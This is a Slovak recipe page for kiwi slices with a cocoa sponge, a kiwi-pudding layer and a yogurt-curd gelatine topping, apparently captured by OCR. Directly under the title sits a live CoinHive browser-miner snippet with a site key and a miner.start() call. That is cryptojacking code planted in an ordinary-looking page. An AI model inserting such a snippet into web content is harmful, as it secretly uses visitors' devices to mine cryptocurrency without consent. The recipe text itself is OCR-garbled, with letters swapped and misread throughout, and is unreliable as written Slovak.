Kiwi rezy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme na cesto: 4 vajcia, 4 PL kryStalového cukru, 4 PL muky, 1/2 kypriaceho prasku, 1
PL kakaového prasku

Potrebujeme na pInku: 6 ks kiwi, 1 ks vanilkového cukru, 2 PL kryStalového cukru, 1 ks
vanilkového pudingu, 300 ml vody, 1 ks velkého vanilkového jogurtu, 500 g tvarohu, 1 ks
praskovej Zelatiny, 150 ml vody, 4 PL praskového cukru

Postup na cesto: 4 bielka vySfahame, pridame 4 PL krystalového cukru, opat sfahame do tuha.
Zaslahame 4 Zltka a na zaver vmieSame 1 lyZicu kakaa a 4 PL muky zmieSanej s kypriacim
praskom do peciva. Kakaové cesto vylejeme do formy vystlanej papierom. PecCieme pri teplote
170°C.

Postup na kiwi pInku: Na vychladnuty kakaovy korpus vylejeme kiwi plnku, ktoru pripravime
takto: Zrelé kiwi oCistime a nakrajame na mensie kusky. Vlozime do hrnca, zalejeme 100 ml
vody a povarime 2-3 minuty, pridame 2 PL kryStalového cukru a vanilkovy cukor. PremieSame.
V 200 ml studenej vody rozmieSame 1 vanilkovy pudingovy prasok a vliejeme ku kiwi zakladu.
Celé premieSame a privedieme do varu. Hotové (eSte horuce) vylejeme na vychladnuty kakaovy
korpus.

Postup na jogurtovo-tvarohovu plnku: Vo vefkej miske rozmieSame jogurt spolu s tvarohom,
podla chuti osladime. Do 150 ml vody vysypeme Zelatinu na pripravu pinky a nechame 10
minGt napucat. Potom tlto zmes prehrejeme a vlejeme do jogurtu zmieSaného s tvarohom.
Vylejeme na vychladnutu kiwi pinku a nechame na chladnom mieste odpocivat a tuhndt. Na
zaver celu tortu ozdobime nastruhanou ¢okoladou.
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